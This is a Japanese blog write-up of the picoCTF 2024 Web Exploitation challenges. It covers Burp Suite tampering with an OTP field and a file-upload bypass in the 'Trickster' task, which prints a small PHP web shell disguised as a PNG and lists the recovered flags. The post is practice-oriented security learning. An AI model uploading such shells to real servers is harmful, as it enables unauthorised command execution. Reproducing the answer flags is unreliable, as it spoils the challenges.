前回 は、picoCTF の picoCTF 2024 のうち、General Skills をやってみました。全10問を全部解けました。
今回は、引き続き、picoCTF の picoCTF 2024 のうち、Web Exploitation というカテゴリの全6問をやっていきたいと思います。Medium が 1問、Hard が 1問です。
それでは、やっていきます。
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
セキュリティの記事一覧
picoCTF の公式サイトは以下です。英語のサイトですが、シンプルで分かりやすいので困らずに進めることができます。
picoctf.com
それでは、やっていきます。
picoCTF 2024:Web Exploitation
ポイントの低い順にやっていきます。
Bookmarklet(50ポイント)
Easy の問題です。サーバ(インスタンス)を起動するところから始まるようです。
サーバを起動すると、1つのリンクが表示されます。クリックすると、Webページが表示されます。そこには、ブックマークレットがあります。それを Chrome に登録して、登録したブックマークレットを実行するとフラグが表示されます。
一応、ブックマークレットの手順だけ書いておきます。Ctrl+Shift+B を押して、ブックマークバーを表示します。ブックマークバーの空いてるところを右クリックして、「ページを追加...」をクリックします。URL のところに、ブックマークレットのソースコード(JavaScript)を貼り付けて、保存をクリックすると、ブックマークレットの完成です。あとは、ブックマークを表示するのと同じように、登録したブックマークレットをクリックするだけです。
WebDecode(50ポイント)
Easy の問題です。サーバ(インスタンス)を起動するところから始まるようです。
サーバを起動すると、1つのリンクが表示されます。クリックすると、Webページが表示されます。Webインスペクターを知ってるか?と言われてます。デベロッパーツールのことでしょうか?Webインスペクターを調べてみると、やはり、デベロッパーツールのことのようです。
とりあえず、表示されたページのソースを見てみます。特に変なところはないようです。最初に表示されたのが HOME で、それ以外に、ABOUT と CONTACT の別のページがありますが、両方とも表示して、ソースの内容を確認しました。
ABOUT には、大きく「Try inspecting the page!! You might find it there」と書かれています。このページでしょうか。ソースを見ると、怪しい文字列(notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9")が書かれています。Base64でしょうか?
やってみます。フラグ出ました。
$ echo -n "cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9" | base64 -d
picoCTF{web_succ3ssfully_d3c0ded_df0da727}
IntroToBurp(100ポイント)
Easy の問題です。サーバ(インスタンス)を起動するところから始まるようです。
サーバを起動すると、1つのリンクが表示されます。タイトルにあるので、BurpSuite でアクセスしてみます。
Register画面で、Full Name
、Username
、Phone Number
、City
、Password
を入力します。その後、2fa authentication画面になり、Enter OTP
を入力します。
2FA とは、2要素認証のことで、パスワード以外に、もう1つの要素で認証することのようです。例えば、OTP であれば、SMS で確認コードが送られてきて、それを入力するようなものです。
OTP に適当な文字列を入れても、Invalid OTP
が返ってくるだけです。
BurpSuite で、HTTP の通信内容を見ていますが、これと言って変なところはありませんので、改変していきます。まずは、エラーが出てる原因になってる「otp=xxx」を、BurpSuite で削除して送らないようにします。あ、フラグが表示されました。
Unminify(100ポイント)
Easy の問題です。サーバ(インスタンス)を起動するところから始まるようです。
サーバを起動すると、1つのリンクが表示されます。アクセスしてみます。フラグは既に受信してる、というようなメッセージが表示されます。ソースコードを見てみます。1行に圧縮されてます。
VSCode で、ソースを整形します。フラグがありました。
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>picoCTF - picoGym | Unminify Challenge</title>
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" />
<style>
body {
font-family: "Lucida Console", Monaco, monospace;
}
h1,
p {
color: #000;
}
</style>
</head>
<body class="picoctf{}" style="margin: 0">
<div
class="picoctf{}"
style="
margin: 0;
padding: 0;
background-color: #757575;
display: auto;
height: 40%;
"
>
<a class="picoctf{}" href="/"
><img
src="picoctf-logo-horizontal-white.svg"
alt="picoCTF logo"
style="
display: inline-block;
width: 160px;
height: 90px;
padding-left: 30px;
"
/></a>
</div>
<center>
<br class="picoctf{}" /><br class="picoctf{}" />
<div
class="picoctf{}"
style="
padding-top: 30px;
border-radius: 3%;
box-shadow: 0 5px 10px #0000004d;
width: 50%;
align-self: center;
"
>
<img
class="picoctf{}"
src="hero.svg"
alt="flag art"
style="width: 150px; height: 150px"
/>
<div class="picoctf{}" style="width: 85%">
<h2 class="picoctf{}">Welcome to my flag distribution website!</h2>
<div class="picoctf{}" style="width: 70%">
<p class="picoctf{}">
If you're reading this, your browser has succesfully received the
flag.
</p>
<p class="picoCTF{pr3tty_c0d3_622b2c88}"></p>
<p class="picoctf{}">
I just deliver flags, I don't know how to read them...
</p>
</div>
</div>
<br class="picoctf{}" />
</div>
</center>
</body>
</html>
No Sql Injection(200ポイント)
メンテナンス中で出来ませんでした。
Trickster(300ポイント)
Medium の問題です。サーバ(インスタンス)を起動するところから始まるようです。
サーバを起動すると、リンクが 1つ表示されるので、アクセスしてみます。
ファイルをアップロードできるようです。適当な PNG画像を選択して、Upload File
ボタンを押します。すると、File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully
と、正常終了したようです。
拡張子が PNG画像ならいいということなので、適当なシェルスクリプトを拡張子だけ、PNG にしてアップロードしてみます。
DATE=`date '+%Y/%m/%d %H:%M:%S'`
echo ${DATE} "start"
アップロードしてみます。すると、Error: The file is not a valid PNG image: 23212f62
と言われました。23212f62
(#!/b
) は、バイナリの先頭の 4byte だと思います。PNG画像の先頭4byte(89 50 4E 47
)をチェックしているということだと思います。
そこさえ従えば、なんとでも出来るということだと思います。まず、先ほどアップロードした PNG画像(read.png)が表示できるかを確認します。image/real.png、img/real.png、gif/real.png、upload/real.png などのディレクトリを試しましたが、ヒットしません。
うーん、ギブアップです。writeup を見てみます。
robots.txt にアップロードディレクトリの場所が書かれてるそうです。そうだった、Web問題は、とにかく、robots.txt を見てみるのが定石とされてました。ちなみに以下が robots.txt です。/uploads/real.png を見ると、アップロードした画像が確認できました。
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
instructions.txt も見てみます。先頭の 0x89 はチェックしてないようです。なので、最初の方に PNG と書かれていればいいようです。
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
あとは、.png
という名前を含む php ファイルを作って、そこにアクセスすればいいということです。以下の内容で、xxx.png.php というファイルをアップロードできました。
PNG
<?php
phpinfo();
exec('find ../ -type f', $find);
print_r($find);
?>
uploads/xxx.png.php にアクセスすると、phpinfo の情報が出力された後、以下が出力されてました(分かりやすいように改行しています)。上の 2つは私がアップロードしたファイルで、下の 2つは先ほど見ました。index.php はアップロード画面だと思うので、GAZWIMLEGU2DQ.txt が怪しいです。
Array (
[0] => ../uploads/real.png
[1] => ../uploads/xxx.png.php
[2] => ../GAZWIMLEGU2DQ.txt
[3] => ../index.php
[4] => ../instructions.txt
[5] => ../robots.txt )
では、GAZWIMLEGU2DQ.txt にブラウザでアクセスしてみます。/* picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_03d1d548} */
が表示されました。
elements(500ポイント)
Hard の問題です。バイナリファイル(elements.tar.gz)が 1つダウンロードできます。また、インスタンス(サーバ)も起動できます。バイナリファイルは 158MB もあります。
解凍すると、400MB 以上ありました。ちょっと容量が足りないので、インストールできないです。この問題については、writeup を見させて頂いて、勉強させてもらうことにします。
writeup を見ましたが、正直言って見ても全然分かりません(笑)。Web については、基礎が足りてないようです。
おわりに
今回は、picoCTF の picoCTF 2024 のうち、Web Exploitation というカテゴリの全6問をやりました。最後の 2問は解けませんでしたが、苦手な Web問題の良い経験になりました。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。